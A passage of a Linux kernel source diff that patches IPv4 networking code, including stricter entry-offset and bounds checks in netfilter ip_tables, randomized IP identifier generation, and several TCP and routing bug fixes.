tmp.underflow); + ret = translate_compat_table(&newinfo, &loc_cpu_entry, &tmp); if (ret != 0) goto free_newinfo; diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c index 2c8fb724dde5d..fdca7ed200e26 100644 --- a/net/ipv4/netfilter/ip_tables.c +++ b/net/ipv4/netfilter/ip_tables.c @@ -516,6 +516,8 @@ mark_source_chains(const struct xt_table_info *newinfo, size = e->next_offset; e = (struct ipt_entry *) (entry0 + pos + size); + if (pos + size >= newinfo->size) + return 0; e->counters.pcnt = pos; pos += size; } else { @@ -537,6 +539,8 @@ mark_source_chains(const struct xt_table_info *newinfo, } else { /* ... this is a fallthru */ newpos = pos + e->next_offset; + if (newpos >= newinfo->size) + return 0; } e = (struct ipt_entry *) (entry0 + newpos); @@ -563,25 +567,6 @@ static void cleanup_match(struct xt_entry_match *m, struct net *net) module_put(par.match->me); } -static int -check_entry(const struct ipt_entry *e) -{ - const struct xt_entry_target *t; - - if (!ip_checkentry(&e->ip)) - return -EINVAL; - - if (e->target_offset + sizeof(struct xt_entry_target) > - e->next_offset) - return -EINVAL; - - t = ipt_get_target_c(e); - if (e->target_offset + t->u.target_size > e->next_offset) - return -EINVAL; - - return 0; -} - static int check_match(struct xt_entry_match *m, struct xt_mtchk_param *par) { @@ -738,7 +723,11 @@ check_entry_size_and_hooks(struct ipt_entry *e, return -EINVAL; } - err = check_entry(e); + if (!ip_checkentry(&e->ip)) + return -EINVAL; + + err = xt_check_entry_offsets(e, e->elems, e->target_offset, + e->next_offset); if (err) return err; @@ -1262,6 +1251,9 @@ do_replace(struct net *net, const void __user *user, unsigned int len) /* overflow check */ if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1303,56 +1295,18 @@ do_add_counters(struct net *net, const void __user *user, unsigned int i, curcpu; struct xt_counters_info tmp; struct xt_counters *paddc; - unsigned int num_counters; - const char *name; - int size; - void *ptmp; struct xt_table *t; const struct xt_table_info *private; int ret = 0; void *loc_cpu_entry; struct ipt_entry *iter; unsigned int addend; -#ifdef CONFIG_COMPAT - struct compat_xt_counters_info compat_tmp; - - if (compat) { - ptmp = &compat_tmp; - size = sizeof(struct compat_xt_counters_info); - } else -#endif - { - ptmp = &tmp; - size = sizeof(struct xt_counters_info); - } - - if (copy_from_user(ptmp, user, size) != 0) - return -EFAULT; -#ifdef CONFIG_COMPAT - if (compat) { - num_counters = compat_tmp.num_counters; - name = compat_tmp.name; - } else -#endif - { - num_counters = tmp.num_counters; - name = tmp.name; - } - - if (len != size + num_counters * sizeof(struct xt_counters)) - return -EINVAL; - - paddc = vmalloc(len - size); - if (!paddc) - return -ENOMEM; + paddc = xt_copy_counters_from_user(user, len, &tmp, compat); + if (IS_ERR(paddc)) + return PTR_ERR(paddc); - if (copy_from_user(paddc, user + size, len - size) != 0) { - ret = -EFAULT; - goto free; - } - - t = xt_find_table_lock(net, AF_INET, name); + t = xt_find_table_lock(net, AF_INET, tmp.name); if (IS_ERR_OR_NULL(t)) { ret = t ? PTR_ERR(t) : -ENOENT; goto free; @@ -1360,7 +1314,7 @@ do_add_counters(struct net *net, const void __user *user, local_bh_disable(); private = t->private; - if (private->number != num_counters) { + if (private->number != tmp.num_counters) { ret = -EINVAL; goto unlock_up_free; } @@ -1439,7 +1393,6 @@ compat_copy_entry_to_user(struct ipt_entry *e, void __user **dstptr, static int compat_find_calc_match(struct xt_entry_match *m, - const char *name, const struct ipt_ip *ip, unsigned int hookmask, int *size) @@ -1475,17 +1428,14 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, struct xt_table_info *newinfo, unsigned int *size, const unsigned char *base, - const unsigned char *limit, - const unsigned int *hook_entries, - const unsigned int *underflows, - const char *name) + const unsigned char *limit) { struct xt_entry_match *ematch; struct xt_entry_target *t; struct xt_target *target; unsigned int entry_offset; unsigned int j; - int ret, off, h; + int ret, off; duprintf("check_compat_entry_size_and_hooks %p\n", e); if ((unsigned long)e % __alignof__(struct compat_ipt_entry) != 0 || @@ -1502,8 +1452,11 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, return -EINVAL; } - /* For purposes of check_entry casting the compat entry is fine */ - ret = check_entry((struct ipt_entry *)e); + if (!ip_checkentry(&e->ip)) + return -EINVAL; + + ret = xt_compat_check_entry_offsets(e, e->elems, + e->target_offset, e->next_offset); if (ret) return ret; @@ -1511,8 +1464,8 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, entry_offset = (void *)e - (void *)base; j = 0; xt_ematch_foreach(ematch, e) { - ret = compat_find_calc_match(ematch, name, - &e->ip, e->comefrom, &off); + ret = compat_find_calc_match(ematch, &e->ip, e->comefrom, + &off); if (ret != 0) goto release_matches; ++j; @@ -1535,17 +1488,6 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, if (ret) goto out; - /* Check hooks & underflows */ - for (h = 0; h < NF_INET_NUMHOOKS; h++) { - if ((unsigned char *)e - base == hook_entries[h]) - newinfo->hook_entry[h] = hook_entries[h]; - if ((unsigned char *)e - base == underflows[h]) - newinfo->underflow[h] = underflows[h]; - } - - /* Clear counters and comefrom */ - memset(&e->counters, 0, sizeof(e->counters)); - e->comefrom = 0; return 0; out: @@ -1559,19 +1501,18 @@ check_compat_entry_size_and_hooks(struct compat_ipt_entry *e, return ret; } -static int +static void compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr, - unsigned int *size, const char *name, + unsigned int *size, struct xt_table_info *newinfo, unsigned char *base) { struct xt_entry_target *t; struct xt_target *target; struct ipt_entry *de; unsigned int origsize; - int ret, h; + int h; struct xt_entry_match *ematch; - ret = 0; origsize = *size; de = (struct ipt_entry *)*dstptr; memcpy(de, e, sizeof(struct ipt_entry)); @@ -1580,198 +1521,104 @@ compat_copy_entry_from_user(struct compat_ipt_entry *e, void **dstptr, *dstptr += sizeof(struct ipt_entry); *size += sizeof(struct ipt_entry) - sizeof(struct compat_ipt_entry); - xt_ematch_foreach(ematch, e) { - ret = xt_compat_match_from_user(ematch, dstptr, size); - if (ret != 0) - return ret; - } + xt_ematch_foreach(ematch, e) + xt_compat_match_from_user(ematch, dstptr, size); + de->target_offset = e->target_offset - (origsize - *size); t = compat_ipt_get_target(e); target = t->u.kernel.target; xt_compat_target_from_user(t, dstptr, size); de->next_offset = e->next_offset - (origsize - *size); + for (h = 0; h < NF_INET_NUMHOOKS; h++) { if ((unsigned char *)de - base < newinfo->hook_entry[h]) newinfo->hook_entry[h] -= origsize - *size; if ((unsigned char *)de - base < newinfo->underflow[h]) newinfo->underflow[h] -= origsize - *size; } - return ret; -} - -static int -compat_check_entry(struct ipt_entry *e, struct net *net, const char *name) -{ - struct xt_entry_match *ematch; - struct xt_mtchk_param mtpar; - unsigned int j; - int ret = 0; - - j = 0; - mtpar.net = net; - mtpar.table = name; - mtpar.entryinfo = &e->ip; - mtpar.hook_mask = e->comefrom; - mtpar.family = NFPROTO_IPV4; - xt_ematch_foreach(ematch, e) { - ret = check_match(ematch, &mtpar); - if (ret != 0) - goto cleanup_matches; - ++j; - } - - ret = check_target(e, net, name); - if (ret) - goto cleanup_matches; - return 0; - - cleanup_matches: - xt_ematch_foreach(ematch, e) { - if (j-- == 0) - break; - cleanup_match(ematch, net); - } - return ret; } static int translate_compat_table(struct net *net, - const char *name, - unsigned int valid_hooks, struct xt_table_info **pinfo, void **pentry0, - unsigned int total_size, - unsigned int number, - unsigned int *hook_entries, - unsigned int *underflows) + const struct compat_ipt_replace *compatr) { unsigned int i, j; struct xt_table_info *newinfo, *info; void *pos, *entry0, *entry1; struct compat_ipt_entry *iter0; - struct ipt_entry *iter1; + struct ipt_replace repl; unsigned int size; int ret; info = *pinfo; entry0 = *pentry0; - size = total_size; - info->number = number; - - /* Init all hooks to impossible value. */ - for (i = 0; i < NF_INET_NUMHOOKS; i++) { - info->hook_entry[i] = 0xFFFFFFFF; - info->underflow[i] = 0xFFFFFFFF; - } + size = compatr->size; + info->number = compatr->num_entries; duprintf("translate_compat_table: size %u\n", info->size); j = 0; xt_compat_lock(AF_INET); - xt_compat_init_offsets(AF_INET, number); + xt_compat_init_offsets(AF_INET, compatr->num_entries); /* Walk through entries, checking offsets. */ - xt_entry_foreach(iter0, entry0, total_size) { + xt_entry_foreach(iter0, entry0, compatr->size) { ret = check_compat_entry_size_and_hooks(iter0, info, &size, entry0, - entry0 + total_size, - hook_entries, - underflows, - name); + entry0 + compatr->size); if (ret != 0) goto out_unlock; ++j; } ret = -EINVAL; - if (j != number) { + if (j != compatr->num_entries) { duprintf("translate_compat_table: %u not %u entries\n", - j, number); + j, compatr->num_entries); goto out_unlock; } - /* Check hooks all assigned */ - for (i = 0; i < NF_INET_NUMHOOKS; i++) { - /* Only hooks which are valid */ - if (!(valid_hooks & (1 << i))) - continue; - if (info->hook_entry[i] == 0xFFFFFFFF) { - duprintf("Invalid hook entry %u %u\n", - i, hook_entries[i]); - goto out_unlock; - } - if (info->underflow[i] == 0xFFFFFFFF) { - duprintf("Invalid underflow %u %u\n", - i, underflows[i]); - goto out_unlock; - } - } - ret = -ENOMEM; newinfo = xt_alloc_table_info(size); if (!newinfo) goto out_unlock; - newinfo->number = number; + newinfo->number = compatr->num_entries; for (i = 0; i < NF_INET_NUMHOOKS; i++) { - newinfo->hook_entry[i] = info->hook_entry[i]; - newinfo->underflow[i] = info->underflow[i]; + newinfo->hook_entry[i] = compatr->hook_entry[i]; + newinfo->underflow[i] = compatr->underflow[i]; } entry1 = newinfo->entries[raw_smp_processor_id()]; pos = entry1; - size = total_size; - xt_entry_foreach(iter0, entry0, total_size) { - ret = compat_copy_entry_from_user(iter0, &pos, &size, - name, newinfo, entry1); - if (ret != 0) - break; - } + size = compatr->size; + xt_entry_foreach(iter0, entry0, compatr->size) + compat_copy_entry_from_user(iter0, &pos, &size, + newinfo, entry1); + + /* all module references in entry0 are now gone. + * entry1/newinfo contains a 64bit ruleset that looks exactly as + * generated by 64bit userspace. + * + * Call standard translate_table() to validate all hook_entrys, + * underflows, check for loops, etc. + */ xt_compat_flush_offsets(AF_INET); xt_compat_unlock(AF_INET); - if (ret) - goto free_newinfo; - ret = -ELOOP; - if (!mark_source_chains(newinfo, valid_hooks, entry1)) - goto free_newinfo; + memcpy(&repl, compatr, sizeof(*compatr)); - i = 0; - xt_entry_foreach(iter1, entry1, newinfo->size) { - ret = compat_check_entry(iter1, net, name); - if (ret != 0) - break; - ++i; - if (strcmp(ipt_get_target(iter1)->u.user.name, - XT_ERROR_TARGET) == 0) - ++newinfo->stacksize; - } - if (ret) { - /* - * The first i matches need cleanup_entry (calls ->destroy) - * because they had called ->check already. The other j-i - * entries need only release. - */ - int skip = i; - j -= i; - xt_entry_foreach(iter0, entry0, newinfo->size) { - if (skip-- > 0) - continue; - if (j-- == 0) - break; - compat_release_entry(iter0); - } - xt_entry_foreach(iter1, entry1, newinfo->size) { - if (i-- == 0) - break; - cleanup_entry(iter1, net); - } - xt_free_table_info(newinfo); - return ret; + for (i = 0; i < NF_INET_NUMHOOKS; i++) { + repl.hook_entry[i] = newinfo->hook_entry[i]; + repl.underflow[i] = newinfo->underflow[i]; } - /* And one copy for every other CPU */ - for_each_possible_cpu(i) - if (newinfo->entries[i] && newinfo->entries[i] != entry1) - memcpy(newinfo->entries[i], entry1, newinfo->size); + repl.num_counters = 0; + repl.counters = NULL; + repl.size = newinfo->size; + ret = translate_table(net, newinfo, entry1, &repl); + if (ret) + goto free_newinfo; *pinfo = newinfo; *pentry0 = entry1; @@ -1780,17 +1627,16 @@ translate_compat_table(struct net *net, free_newinfo: xt_free_table_info(newinfo); -out: - xt_entry_foreach(iter0, entry0, total_size) { + return ret; +out_unlock: + xt_compat_flush_offsets(AF_INET); + xt_compat_unlock(AF_INET); + xt_entry_foreach(iter0, entry0, compatr->size) { if (j-- == 0) break; compat_release_entry(iter0); } return ret; -out_unlock: - xt_compat_flush_offsets(AF_INET); - xt_compat_unlock(AF_INET); - goto out; } static int @@ -1810,6 +1656,9 @@ compat_do_replace(struct net *net, void __user *user, unsigned int len) return -ENOMEM; if (tmp.num_counters >= INT_MAX / sizeof(struct xt_counters)) return -ENOMEM; + if (tmp.num_counters == 0) + return -EINVAL; + tmp.name[sizeof(tmp.name)-1] = 0; newinfo = xt_alloc_table_info(tmp.size); @@ -1824,10 +1673,7 @@ compat_do_replace(struct net *net, void __user *user, unsigned int len) goto free_newinfo; } - ret = translate_compat_table(net, tmp.name, tmp.valid_hooks, - &newinfo, &loc_cpu_entry, tmp.size, - tmp.num_entries, tmp.hook_entry, - tmp.underflow); + ret = translate_compat_table(net, &newinfo, &loc_cpu_entry, &tmp); if (ret != 0) goto free_newinfo; diff --git a/net/ipv4/ping.c b/net/ipv4/ping.c index 339139db680df..f8c8f60ad7e25 100644 --- a/net/ipv4/ping.c +++ b/net/ipv4/ping.c @@ -978,8 +978,11 @@ void ping_rcv(struct sk_buff *skb) sk = ping_lookup(net, skb, ntohs(icmph->un.echo.id)); if (sk != NULL) { + struct sk_buff *skb2 = skb_clone(skb, GFP_ATOMIC); + pr_debug("rcv on socket %p\n", sk); - ping_queue_rcv_skb(sk, skb_get(skb)); + if (skb2) + ping_queue_rcv_skb(sk, skb2); sock_put(sk); return; } diff --git a/net/ipv4/raw.c b/net/ipv4/raw.c index 169d72ac633c5..b9c87c8c0b122 100644 --- a/net/ipv4/raw.c +++ b/net/ipv4/raw.c @@ -387,7 +387,7 @@ static int raw_send_hdrinc(struct sock *sk, struct flowi4 *fl4, iph->check = 0; iph->tot_len = htons(length); if (!iph->id) - ip_select_ident(skb, &rt->dst, NULL); + ip_select_ident(skb, NULL); iph->check = ip_fast_csum((unsigned char *)iph, iph->ihl); } diff --git a/net/ipv4/route.c b/net/ipv4/route.c index b55673aec420a..0969b32b4e678 100644 --- a/net/ipv4/route.c +++ b/net/ipv4/route.c @@ -89,6 +89,7 @@ #include #include #include +#include #include #include #include @@ -464,39 +465,53 @@ static struct neighbour *ipv4_neigh_lookup(const struct dst_entry *dst, return neigh_create(&arp_tbl, pkey, dev); } -/* - * Peer allocation may fail only in serious out-of-memory conditions. However - * we still can generate some output. - * Random ID selection looks a bit dangerous because we have no chances to - * select ID being unique in a reasonable period of time. - * But broken packet identifier may be better than no packet at all. +#define IP_IDENTS_SZ 2048u +struct ip_ident_bucket { + atomic_t id; + u32 stamp32; +}; + +static struct ip_ident_bucket *ip_idents __read_mostly; + +/* In order to protect privacy, we add a perturbation to identifiers + * if one generator is seldom used. This makes hard for an attacker + * to infer how many packets were sent between two points in time. */ -static void ip_select_fb_ident(struct iphdr *iph) +u32 ip_idents_reserve(u32 hash, int segs) { - static DEFINE_SPINLOCK(ip_fb_id_lock); - static u32 ip_fallback_id; - u32 salt; + struct ip_ident_bucket *bucket = ip_idents + hash % IP_IDENTS_SZ; + u32 old = ACCESS_ONCE(bucket->stamp32); + u32 now = (u32)jiffies; + u32 delta = 0; + + if (old != now && cmpxchg(&bucket->stamp32, old, now) == old) { + u64 x = prandom_u32(); - spin_lock_bh(&ip_fb_id_lock); - salt = secure_ip_id((__force __be32)ip_fallback_id ^ iph->daddr); - iph->id = htons(salt & 0xFFFF); - ip_fallback_id = salt; - spin_unlock_bh(&ip_fb_id_lock); + x *= (now - old); + delta = (u32)(x >> 32); + } + + return atomic_add_return(segs + delta, &bucket->id) - segs; } +EXPORT_SYMBOL(ip_idents_reserve); -void __ip_select_ident(struct iphdr *iph, struct dst_entry *dst, int more) +void __ip_select_ident(struct iphdr *iph, int segs) { - struct net *net = dev_net(dst->dev); - struct inet_peer *peer; + static u32 ip_idents_hashrnd __read_mostly; + static bool hashrnd_initialized = false; + u32 hash, id; - peer = inet_getpeer_v4(net->ipv4.peers, iph->daddr, 1); - if (peer) { - iph->id = htons(inet_getid(peer, more)); - inet_putpeer(peer); - return; + if (unlikely(!hashrnd_initialized)) { + hashrnd_initialized = true; + get_random_bytes(&ip_idents_hashrnd, sizeof(ip_idents_hashrnd)); } - ip_select_fb_ident(iph); + hash = jhash_3words((__force u32)iph->daddr, + (__force u32)iph->saddr, + iph->protocol, + ip_idents_hashrnd); + id = ip_idents_reserve(hash, segs); + iph->id = htons(id); } EXPORT_SYMBOL(__ip_select_ident); @@ -857,6 +872,10 @@ static int ip_error(struct sk_buff *skb) bool send; int code; + /* IP on this device is disabled. */ + if (!in_dev) + goto out; + net = dev_net(rt->dst.dev); if (!IN_DEV_FORWARD(in_dev)) { switch (rt->dst.error) { @@ -993,20 +1012,21 @@ void ipv4_sk_update_pmtu(struct sk_buff *skb, struct sock *sk, u32 mtu) const struct iphdr *iph = (const struct iphdr *) skb->data; struct flowi4 fl4; struct rtable *rt; - struct dst_entry *dst; + struct dst_entry *odst = NULL; bool new = false; bh_lock_sock(sk); - rt = (struct rtable *) __sk_dst_get(sk); + odst = sk_dst_get(sk); - if (sock_owned_by_user(sk) || !rt) { + if (sock_owned_by_user(sk) || !odst) { __ipv4_sk_update_pmtu(skb, sk, mtu); goto out; } __build_flow_key(&fl4, sk, iph, 0, 0, 0, 0, 0); - if (!__sk_dst_check(sk, 0)) { + rt = (struct rtable *)odst; + if (odst->obsolete && odst->ops->check(odst, 0) == NULL) { rt = ip_route_output_flow(sock_net(sk), &fl4, sk); if (IS_ERR(rt)) goto out; @@ -1016,8 +1036,7 @@ void ipv4_sk_update_pmtu(struct sk_buff *skb, struct sock *sk, u32 mtu) __ip_rt_update_pmtu((struct rtable *) rt->dst.path, &fl4, mtu); - dst = dst_check(&rt->dst, 0); - if (!dst) { + if (!dst_check(&rt->dst, 0)) { if (new) dst_release(&rt->dst); @@ -1029,10 +1048,11 @@ void ipv4_sk_update_pmtu(struct sk_buff *skb, struct sock *sk, u32 mtu) } if (new) - __sk_dst_set(sk, &rt->dst); + sk_dst_set(sk, &rt->dst); out: bh_unlock_sock(sk); + dst_release(odst); } EXPORT_SYMBOL_GPL(ipv4_sk_update_pmtu); @@ -1508,11 +1528,10 @@ static int __mkroute_input(struct sk_buff *skb, do_cache = res->fi && !itag; if (out_dev == in_dev && err && IN_DEV_TX_REDIRECTS(out_dev) && + skb->protocol == htons(ETH_P_IP) && (IN_DEV_SHARED_MEDIA(out_dev) || - inet_addr_onlink(out_dev, saddr, FIB_RES_GW(*res)))) { - flags |= RTCF_DOREDIRECT; - do_cache = false; - } + inet_addr_onlink(out_dev, saddr, FIB_RES_GW(*res)))) + IPCB(skb)->flags |= IPSKB_DOREDIRECT; if (skb->protocol != htons(ETH_P_IP)) { /* Not IP (i.e. ARP). Do not create route, if it is @@ -1869,6 +1888,18 @@ static struct rtable *__mkroute_output(const struct fib_result *res, */ if (fi && res->prefixlen < 4) fi = NULL; + } else if ((type == RTN_LOCAL) && (orig_oif != 0) && + (orig_oif != dev_out->ifindex)) { + /* For local routes that require a particular output interface + * we do not want to cache the result. Caching the result + * causes incorrect behaviour when there are multiple source + * addresses on the interface, the end result being that if the + * intended recipient is waiting on that interface for the + * packet he won't receive it because it will be delivered on + * the loopback interface and the IP_PKTINFO ipi_ifindex will + * be set to the loopback interface as well. + */ + fi = NULL; } fnhe = NULL; @@ -2253,6 +2284,8 @@ static int rt_fill_info(struct net *net, __be32 dst, __be32 src, r->rtm_flags = (rt->rt_flags & ~0xFFFF) | RTM_F_CLONED; if (rt->rt_flags & RTCF_NOTIFY) r->rtm_flags |= RTM_F_NOTIFY; + if (IPCB(skb)->flags & IPSKB_DOREDIRECT) + r->rtm_flags |= RTCF_DOREDIRECT; if (nla_put_be32(skb, RTA_DST, dst)) goto nla_put_failure; @@ -2673,6 +2706,12 @@ int __init ip_rt_init(void) { int rc = 0; + ip_idents = kmalloc(IP_IDENTS_SZ * sizeof(*ip_idents), GFP_KERNEL); + if (!ip_idents) + panic("IP: failed to allocate ip_idents\n"); + + prandom_bytes(ip_idents, IP_IDENTS_SZ * sizeof(*ip_idents)); + #ifdef CONFIG_IP_ROUTE_CLASSID ip_rt_acct = __alloc_percpu(256 * sizeof(struct ip_rt_acct), __alignof__(struct ip_rt_acct)); if (!ip_rt_acct) diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c index 8ec0db2d54077..2ab1045885802 100644 --- a/net/ipv4/tcp.c +++ b/net/ipv4/tcp.c @@ -1076,7 +1076,7 @@ int tcp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, if (unlikely(tp->repair)) { if (tp->repair_queue == TCP_RECV_QUEUE) { copied = tcp_send_rcvq(sk, msg, size); - goto out; + goto out_nopush; } err = -EINVAL; @@ -1249,6 +1249,7 @@ int tcp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, out: if (copied) tcp_push(sk, flags, mss_now, tp->nonagle); +out_nopush: release_sock(sk); if (copied + copied_syn) diff --git a/net/ipv4/tcp_illinois.c b/net/ipv4/tcp_illinois.c index 834857f3c8713..86183c4e4fd54 100644 --- a/net/ipv4/tcp_illinois.c +++ b/net/ipv4/tcp_illinois.c @@ -23,7 +23,6 @@ #define ALPHA_MIN ((3*ALPHA_SCALE)/10) /* ~0.3 */ #define ALPHA_MAX (10*ALPHA_SCALE) /* 10.0 */ #define ALPHA_BASE ALPHA_SCALE /* 1.0 */ -#define U32_MAX ((u32)~0U) #define RTT_MAX (U32_MAX / ALPHA_MAX) /* 3.3 secs */ #define BETA_SHIFT 6 diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c index 4128dc4eb6321..568ae6d2b5180 100644 --- a/net/ipv4/tcp_input.c +++ b/net/ipv4/tcp_input.c @@ -1077,7 +1077,7 @@ static bool tcp_check_dsack(struct sock *sk, const struct sk_buff *ack_skb, } /* D-SACK for already forgotten data... Do dumb counting. */ - if (dup_sack && tp->undo_marker && tp->undo_retrans && + if (dup_sack && tp->undo_marker && tp->undo_retrans > 0 && !after(end_seq_0, prior_snd_una) && after(end_seq_0, tp->undo_marker)) tp->undo_retrans--; @@ -1132,7 +1132,7 @@ static int tcp_match_skb_to_sack(struct sock *sk, struct sk_buff *skb, unsigned int new_len = (pkt_len / mss) * mss; if (!in_sack && new_len < pkt_len) { new_len += mss; - if (new_len > skb->len) + if (new_len >= skb->len) return 0; } pkt_len = new_len; @@ -1156,7 +1156,7 @@ static u8 tcp_sacktag_one(struct sock *sk, /* Account D-SACK for retransmitted packet. */ if (dup_sack && (sacked & TCPCB_RETRANS)) { - if (tp->undo_marker && tp->undo_retrans && + if (tp->undo_marker && tp->undo_retrans > 0 && after(end_seq, tp->undo_marker)) tp->undo_retrans--; if (sacked & TCPCB_SACKED_ACKED) @@ -1852,7 +1852,7 @@ static void tcp_clear_retrans_partial(struct tcp_sock *tp) tp->lost_out = 0; tp->undo_marker = 0; - tp->undo_retrans = 0; + tp->undo_retrans = -1; } void tcp_clear_retrans(struct tcp_sock *tp) @@ -2702,7 +2702,7 @@ static void tcp_enter_recovery(struct sock *sk, bool ece_ack) tp->prior_ssthresh = 0; tp->undo_marker = tp->snd_una; - tp->undo_retrans = tp->retrans_out; + tp->undo_retrans = tp->retrans_out ? : -1; if (inet_csk(sk)->icsk_ca_state < TCP_CA_CWR) { if (!ece_ack) @@ -3078,10 +3078,11 @@ static int tcp_clean_rtx_queue(struct sock *sk, int prior_fackets, if (seq_rtt < 0) { seq_rtt = ca_seq_rtt; } - if (!(sacked & TCPCB_SACKED_ACKED)) + if (!(sacked & TCPCB_SACKED_ACKED)) { reord = min(pkts_acked, reord); - if (!after(scb->end_seq, tp->high_seq)) - flag |= FLAG_ORIG_SACK_ACKED; + if (!after(scb->end_seq, tp->high_seq)) + flag |= FLAG_ORIG_SACK_ACKED; + } } if (sacked & TCPCB_SACKED_ACKED) @@ -5584,6 +5585,7 @@ static int tcp_rcv_synsent_state_process(struct sock *sk, struct sk_buff *skb, } tp->rcv_nxt = TCP_SKB_CB(skb)->seq + 1; + tp->copied_seq = tp->rcv_nxt; tp->rcv_wup = TCP_SKB_CB(skb)->seq + 1; /* RFC1323: The window in SYN & SYN/ACK segments is diff --git a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c index fbfe33afc5591..465853e918638 100644 --- a/net/ipv4/tcp_ipv4.c +++ b/net/ipv4/tcp_ipv4.c @@ -268,7 +268,7 @@ EXPORT_SYMBOL(tcp_v4_connect); * It can be called through tcp_release_cb() if socket was owned by user * at the time tcp_v4_err() was called to handle ICMP message. */ -static void tcp_v4_mtu_reduced(struct sock *sk) +void tcp_v4_mtu_reduced(struct sock *sk) { struct dst_entry *dst; struct inet_sock *inet = inet_sk(sk); @@ -298,6 +298,7 @@ static void tcp_v4_mtu_reduced(struct sock *sk) tcp_simple_retransmit(sk); } /* else let the usual retransmit timer handle it */ } +EXPORT_SYMBOL(tcp_v4_mtu_reduced); static void do_redirect(struct sk_buff *skb, struct sock *sk) { @@ -706,7 +707,8 @@ static void tcp_v4_send_reset(struct sock *sk, struct sk_buff *skb) net = dev_net(skb_dst(skb)->dev); arg.tos = ip_hdr(skb)->tos; - ip_send_unicast_reply(net, skb, ip_hdr(skb)->saddr, + ip_send_unicast_reply(*this_cpu_ptr(net->ipv4.tcp_sk), + skb, ip_hdr(skb)->saddr, ip_hdr(skb)->daddr, &arg, arg.iov[0].iov_len); TCP_INC_STATS_BH(net, TCP_MIB_OUTSEGS); @@ -789,7 +791,8 @@ static void tcp_v4_send_ack(struct sk_buff *skb, u32 seq, u32 ack, if (oif) arg.bound_dev_if = oif; arg.tos = tos; - ip_send_unicast_reply(net, skb, ip_hdr(skb)->saddr, + ip_send_unicast_reply(*this_cpu_ptr(net->ipv4.tcp_sk), + skb, ip_hdr(skb)->saddr, ip_hdr(skb)->daddr, &arg, arg.iov[0].iov_len); TCP_INC_STATS_BH(net, TCP_MIB_OUTSEGS); @@ -1012,7 +1015,8 @@ int tcp_md5_do_add(struct sock *sk, const union tcp_md5_addr *addr, } md5sig = rcu_dereference_protected(tp->md5sig_info, - sock_owned_by_user(sk)); + sock_owned_by_user(sk) || + lockdep_is_held(&sk->sk_lock.slock)); if (!md5sig) { md5sig = kmalloc(sizeof(*md5sig), gfp); if (!md5sig) @@ -1899,7 +1903,7 @@ void tcp_v4_early_demux(struct sk_buff *skb) skb->sk = sk; skb->destructor = sock_edemux; if (sk->sk_state != TCP_TIME_WAIT) { - struct dst_entry *dst = sk->sk_rx_dst; + struct dst_entry *dst = ACCESS_ONCE(sk->sk_rx_dst); if (dst) dst = dst_check(dst, 0); @@ -2143,6 +2147,7 @@ const struct inet_connection_sock_af_ops ipv4_specific = { .compat_setsockopt = compat_ip_setsockopt, .compat_getsockopt = compat_ip_getsockopt, #endif + .mtu_reduced = tcp_v4_mtu_reduced, }; EXPORT_SYMBOL(ipv4_specific); @@ -2865,7 +2870,6 @@ struct proto tcp_prot = { .sendpage = tcp_sendpage, .backlog_rcv = tcp_v4_do_rcv, .release_cb = tcp_release_cb, - .mtu_reduced = tcp_v4_mtu_reduced, .hash = inet_hash, .unhash = inet_unhash, .get_port = inet_csk_get_port, @@ -2896,14 +2900,39 @@ struct proto tcp_prot = { }; EXPORT_SYMBOL(tcp_prot); +static void __net_exit tcp_sk_exit(struct net *net) +{ + int cpu; + + for_each_possible_cpu(cpu) + inet_ctl_sock_destroy(*per_cpu_ptr(net->ipv4.tcp_sk, cpu)); + free_percpu(net->ipv4.tcp_sk); +} + static int __net_init tcp_sk_init(struct net *net) { + int res, cpu; + + net->ipv4.tcp_sk = alloc_percpu(struct sock *); + if (!net->ipv4.tcp_sk) + return -ENOMEM; + + for_each_possible_cpu(cpu) { + struct sock *sk; + + res = inet_ctl_sock_create(&sk, PF_INET, SOCK_RAW, + IPPROTO_TCP, net); + if (res) + goto fail; + *per_cpu_ptr(net->ipv4.tcp_sk, cpu) = sk; + } net->ipv4.sysctl_tcp_ecn = 2; return 0; -} -static void __net_exit tcp_sk_exit(struct net *net) -{ +fail: + tcp_sk_exit(net); + + return res; } static void __net_exit tcp_sk_exit_batch(struct list_head *net_exit_list) diff --git a/net/ipv4/tcp_output.c b/net/ipv4/tcp_output.c index b905ebb018c77..ed84e91580d9e 100644 --- a/net/ipv4/tcp_output.c +++ b/net/ipv4/tcp_output.c @@ -222,7 +222,8 @@ void tcp_select_initial_window(int __space, __u32 mss, /* Set window scaling on max possible window * See RFC1323 for an explanation of the limit to 14 */ - space = max_t(u32, sysctl_tcp_rmem[2], sysctl_rmem_max); + space = max_t(u32, space, sysctl_tcp_rmem[2]); + space = max_t(u32, space, sysctl_rmem_max); space = min_t(u32, space, *window_clamp); while (space > 65535 && (*rcv_wscale) < 14) { space >>= 1; @@ -774,7 +775,7 @@ void tcp_release_cb(struct sock *sk) __sock_put(sk); } if (flags & (1UL << TCP_MTU_REDUCED_DEFERRED)) { - sk->sk_prot->mtu_reduced(sk); + inet_csk(sk)->icsk_af_ops->mtu_reduced(sk); __sock_put(sk); } } @@ -1861,7 +1862,7 @@ static bool tcp_write_xmit(struct sock *sk, unsigned int mss_now, int nonagle, if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now))) break; - if (tso_segs == 1) { + if (tso_segs == 1 || !sk->sk_gso_max_segs) { if (unlikely(!tcp_nagle_test(tp, skb, mss_now, (tcp_skb_is_last(sk, skb) ? nonagle : TCP_NAGLE_PUSH)))) @@ -1896,7 +1897,7 @@ static bool tcp_write_xmit(struct sock *sk, unsigned int mss_now, int nonagle, } limit = mss_now; - if (tso_segs > 1 && !tcp_urg_mode(tp)) + if (tso_segs > 1 && sk->sk_gso_max_segs && !tcp_urg_mode(tp)) limit = tcp_mss_split_point(sk, skb, 